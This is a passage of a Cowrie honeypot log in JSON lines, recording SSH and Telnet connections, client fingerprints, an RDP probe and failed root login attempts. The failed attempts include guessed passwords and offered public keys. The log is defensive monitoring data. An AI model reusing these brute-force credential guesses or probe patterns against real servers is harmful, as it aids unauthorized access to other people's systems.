2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:49.135427Z","src_ip":"103.173.227.57","session":"22d51b9fd13b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03082006","message":"login attempt [root/03082006] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:49.830920Z","src_ip":"103.173.227.57","session":"22d51b9fd13b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51508,"dst_ip":"10.17.0.5","dst_port":23,"session":"3878b568a84e","protocol":"telnet","message":"New connection: 152.42.224.71:51508 (10.17.0.5:23) [session: 3878b568a84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:51.018986Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:51.065552Z","src_ip":"103.173.227.57","session":"22d51b9fd13b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":9461,"dst_ip":"10.17.0.5","dst_port":22,"session":"77d90e3fd491","protocol":"ssh","message":"New connection: 106.241.31.17:9461 (10.17.0.5:22) [session: 77d90e3fd491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:52.218711Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:26:52.223441Z","src_ip":"106.241.31.17","session":"77d90e3fd491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63790,"dst_ip":"10.17.0.5","dst_port":22,"session":"02b9a5335110","protocol":"ssh","message":"New connection: 152.42.212.128:63790 (10.17.0.5:22) [session: 02b9a5335110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:06.309983Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:06.314714Z","src_ip":"152.42.212.128","session":"02b9a5335110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:06.318784Z","src_ip":"152.42.212.128","session":"02b9a5335110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49328,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e51f6bc72b9","protocol":"telnet","message":"New connection: 152.42.224.71:49328 (10.17.0.5:23) [session: 5e51f6bc72b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:06.361046Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59142,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3ca6527541","protocol":"telnet","message":"New connection: 152.42.224.71:59142 (10.17.0.5:23) [session: bc3ca6527541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:22.546939Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":34320,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c29b6a8722e","protocol":"ssh","message":"New connection: 103.75.183.219:34320 (159.203.135.109:22) [session: 4c29b6a8722e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:24.210892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:24.216080Z","src_ip":"103.75.183.219","session":"4c29b6a8722e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:24.456751Z","src_ip":"103.75.183.219","session":"4c29b6a8722e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.8663067817688,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:24.885161Z","src_ip":"152.42.224.71","session":"3878b568a84e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikitos","message":"login attempt [root/nikitos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:25.183977Z","src_ip":"103.75.183.219","session":"4c29b6a8722e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:26.426700Z","src_ip":"103.75.183.219","session":"4c29b6a8722e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d83ab2c64df","protocol":"telnet","message":"New connection: 152.42.224.71:37022 (10.17.0.5:23) [session: 4d83ab2c64df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:27:49.699305Z"}
{"eventid":"cowrie.session.closed","duration":57.53409266471863,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:03.894996Z","src_ip":"152.42.224.71","session":"5e51f6bc72b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":55144,"dst_ip":"159.203.135.109","dst_port":22,"session":"da81488ab2a0","protocol":"ssh","message":"New connection: 59.16.212.232:55144 (159.203.135.109:22) [session: da81488ab2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:08.493839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:08.498300Z","src_ip":"59.16.212.232","session":"da81488ab2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:08.703596Z","src_ip":"59.16.212.232","session":"da81488ab2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwertyu1","message":"login attempt [root/Qwertyu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:09.545849Z","src_ip":"59.16.212.232","session":"da81488ab2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:10.752671Z","src_ip":"59.16.212.232","session":"da81488ab2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.119.22","src_port":38048,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff8d46cbcbd","protocol":"ssh","message":"New connection: 154.16.119.22:38048 (10.17.0.5:22) [session: aff8d46cbcbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:10.879317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:10.884280Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:10.913867Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:90:23:e9:91:3a:be:13:62:f7:8a:98:02:5b:0d:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWuwAmsGsaXc87tkH0VrHSc3OMKoNOvIdqU/XdQQuPqI5jhYSQFciiu2AKKDp8fe22AALpxZjQcoZLuvZhfSJV+MpmtsBSSiHmQ3/irzJ46rrhEQVLC7FucOCRjuHLvz2KAgyCQ7OsMk5J8nyLQsonVsC6ZnozCJLIE/j2luft8xNHtmaietxQaz9inuyBbeOXHUQkeJZHFxNtAwDsWFpWqwYQ349nWa/WoYHNAw1KijssJoolRo/nLT1EtU96/cmGGTHEruJmH3p2u6AKKtI4alU29lT+wYhikgTa30SpT/2gTWdK9wq+B+AcK7wqGc1TDnFV+Ij3F0nafqrlMTX7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:90:23:e9:91:3a:be:13:62:f7:8a:98:02:5b:0d:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.028906Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:90:23:e9:91:3a:be:13:62:f7:8a:98:02:5b:0d:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWuwAmsGsaXc87tkH0VrHSc3OMKoNOvIdqU/XdQQuPqI5jhYSQFciiu2AKKDp8fe22AALpxZjQcoZLuvZhfSJV+MpmtsBSSiHmQ3/irzJ46rrhEQVLC7FucOCRjuHLvz2KAgyCQ7OsMk5J8nyLQsonVsC6ZnozCJLIE/j2luft8xNHtmaietxQaz9inuyBbeOXHUQkeJZHFxNtAwDsWFpWqwYQ349nWa/WoYHNAw1KijssJoolRo/nLT1EtU96/cmGGTHEruJmH3p2u6AKKtI4alU29lT+wYhikgTa30SpT/2gTWdK9wq+B+AcK7wqGc1TDnFV+Ij3F0nafqrlMTX7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.033076Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:55:03:fa:fa:4c:5c:d3:a6:66:c3:f8:ad:38:3d:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApSr0Kgk5BSoa58m5cs3wEdN78xEEsfAB1I+taDrdvZ0wGg4z5NZUetYEngUOWrBVwtjyw/8EKEpb7JwGd4GDWcQGOoHgfeVqn8aYzq+IfHP8TldtYA4+EMNF7QaCemQXX3ojX9LhlXsaaBYoWYQ+/aBguRB2MzIzLqP4NDl5dGga4tvHOhLcFT7936pW/I7RlWsW4oMimgFtomr+NoWXdccBc33/Xg+2w7yl59NbBaOi7Y8XflVi8Mgg9GaMpZrrFNRWMMAXtyQWbIPDp7uB7141xykPk3aqmNZiLf+5CvVGa9QtDdNuVqy+W6scI+e+7S9OKp7KEnNkCyDmHEwQdQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:55:03:fa:fa:4c:5c:d3:a6:66:c3:f8:ad:38:3d:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.062741Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:55:03:fa:fa:4c:5c:d3:a6:66:c3:f8:ad:38:3d:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApSr0Kgk5BSoa58m5cs3wEdN78xEEsfAB1I+taDrdvZ0wGg4z5NZUetYEngUOWrBVwtjyw/8EKEpb7JwGd4GDWcQGOoHgfeVqn8aYzq+IfHP8TldtYA4+EMNF7QaCemQXX3ojX9LhlXsaaBYoWYQ+/aBguRB2MzIzLqP4NDl5dGga4tvHOhLcFT7936pW/I7RlWsW4oMimgFtomr+NoWXdccBc33/Xg+2w7yl59NbBaOi7Y8XflVi8Mgg9GaMpZrrFNRWMMAXtyQWbIPDp7uB7141xykPk3aqmNZiLf+5CvVGa9QtDdNuVqy+W6scI+e+7S9OKp7KEnNkCyDmHEwQdQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.069727Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:d0:30:c1:72:4a:53:fe:ed:ed:6e:73:f3:50:39:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdL/zZepUEvgLE0MCXyaB0eBXcF4JOCKs1ckG65XYLDTkH4s7Xg7GHxdvKZfzm6pPD+cb+bc8zz5R3M0Taa3opyj0xDhQGQSoFi0rggR8dAPwub6mStUku5w7/cTciHWryvooI6a2cEWJd7ZD7iONEpUB4v6Flqorjd94mpjr+KulPzwYNsMOi784ZAQKTqXoD9w9EEEkfjuv2mvci7mPMpHQewhl96ZSDanSc63x4i1gY4TesQJd22ynN6rsgZs1HZWy0Bz05diTphqdHP6ipvCCrvU8doKtFoSDLV94R6IUeV3ttH4KAXSHcrkBIYFUO3afWBq2wHqF2NIYKaJyb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:d0:30:c1:72:4a:53:fe:ed:ed:6e:73:f3:50:39:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.099423Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:d0:30:c1:72:4a:53:fe:ed:ed:6e:73:f3:50:39:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdL/zZepUEvgLE0MCXyaB0eBXcF4JOCKs1ckG65XYLDTkH4s7Xg7GHxdvKZfzm6pPD+cb+bc8zz5R3M0Taa3opyj0xDhQGQSoFi0rggR8dAPwub6mStUku5w7/cTciHWryvooI6a2cEWJd7ZD7iONEpUB4v6Flqorjd94mpjr+KulPzwYNsMOi784ZAQKTqXoD9w9EEEkfjuv2mvci7mPMpHQewhl96ZSDanSc63x4i1gY4TesQJd22ynN6rsgZs1HZWy0Bz05diTphqdHP6ipvCCrvU8doKtFoSDLV94R6IUeV3ttH4KAXSHcrkBIYFUO3afWBq2wHqF2NIYKaJyb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.104347Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:1a:ac:ef:fe:b6:39:f8:ba:0c:8f:7e:f7:a7:80:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3EHNwa0GVvaE/IROBmvqLwx3rIbMqAQM8DHYWNJCw5ugRzE71yI7zb67WIz5Lg0w6X2T6frOwbWINHWzDw2Lu0KDpvEZ+Vbgc4nbv47Qo/vcU5MrjYY6DUb8odJOW+TYLmX/Lrhh9roqtwWzvsJZQo2rBaeAv5xGPf8tyX3M5HXZOAL4snzbSRdeqdcY2C27fg1yiiIQ18g/W9uHZcxehLb/4S7NTq2BNDFvpmZ5Drzmq/RoJBHVyag3ID9vEyDFvOmkweYCnPquwHEnWK1+JwQyfzHkviKwLoG8mMa6qC7bYOv1dOeOtchvwzOZzbiJjaqoqiVrImGEdVNP1bivF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:1a:ac:ef:fe:b6:39:f8:ba:0c:8f:7e:f7:a7:80:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.134318Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:1a:ac:ef:fe:b6:39:f8:ba:0c:8f:7e:f7:a7:80:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3EHNwa0GVvaE/IROBmvqLwx3rIbMqAQM8DHYWNJCw5ugRzE71yI7zb67WIz5Lg0w6X2T6frOwbWINHWzDw2Lu0KDpvEZ+Vbgc4nbv47Qo/vcU5MrjYY6DUb8odJOW+TYLmX/Lrhh9roqtwWzvsJZQo2rBaeAv5xGPf8tyX3M5HXZOAL4snzbSRdeqdcY2C27fg1yiiIQ18g/W9uHZcxehLb/4S7NTq2BNDFvpmZ5Drzmq/RoJBHVyag3ID9vEyDFvOmkweYCnPquwHEnWK1+JwQyfzHkviKwLoG8mMa6qC7bYOv1dOeOtchvwzOZzbiJjaqoqiVrImGEdVNP1bivF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.138373Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:c4:0c:67:06:e5:6b:99:ab:66:03:bd:a3:20:b2:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs/pr6H+5IMZUbo+h1RvZ/K6CX0QqTiLiynk6OTjkAGAcPudLZsMTDMfZlh79DyXQZ1jKjUDOGnrl1oDJ/dhq6Ru/Y4QYr6Sb9loedoOnuwwYvOLw47o5aGRRm5mb5ojxKKm0XvmR/+59ukMo+J/sQqxmK9rnaE+edKqKy8Eu6XUjjtVVrE1abc1P7rtiN18KgMHCp8s6XY8/giP1QW4aubBsHnaWaD3J+yhODHiEaHjLQGSpnhlYO2QcJAiR9eQpH/lsQs+z3FnZJvIZUtBU+8CANZBNgn01tpKvWwHYbo4A6XPUIDI9RyWR7DTYcEvwhFxCGHPbZxTFJD7rdrwE+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:c4:0c:67:06:e5:6b:99:ab:66:03:bd:a3:20:b2:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.167063Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:c4:0c:67:06:e5:6b:99:ab:66:03:bd:a3:20:b2:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs/pr6H+5IMZUbo+h1RvZ/K6CX0QqTiLiynk6OTjkAGAcPudLZsMTDMfZlh79DyXQZ1jKjUDOGnrl1oDJ/dhq6Ru/Y4QYr6Sb9loedoOnuwwYvOLw47o5aGRRm5mb5ojxKKm0XvmR/+59ukMo+J/sQqxmK9rnaE+edKqKy8Eu6XUjjtVVrE1abc1P7rtiN18KgMHCp8s6XY8/giP1QW4aubBsHnaWaD3J+yhODHiEaHjLQGSpnhlYO2QcJAiR9eQpH/lsQs+z3FnZJvIZUtBU+8CANZBNgn01tpKvWwHYbo4A6XPUIDI9RyWR7DTYcEvwhFxCGHPbZxTFJD7rdrwE+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.171443Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:11.200672Z","src_ip":"154.16.119.22","session":"aff8d46cbcbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36664,"dst_ip":"10.17.0.5","dst_port":23,"session":"429a6ed5c364","protocol":"telnet","message":"New connection: 152.42.224.71:36664 (10.17.0.5:23) [session: 429a6ed5c364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:13.440379Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51154,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a58e87f835","protocol":"telnet","message":"New connection: 152.42.224.71:51154 (10.17.0.5:23) [session: 05a58e87f835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:34.698992Z"}
{"eventid":"cowrie.session.closed","duration":50.76703691482544,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:28:40.466231Z","src_ip":"152.42.224.71","session":"4d83ab2c64df","protocol":"telnet"}
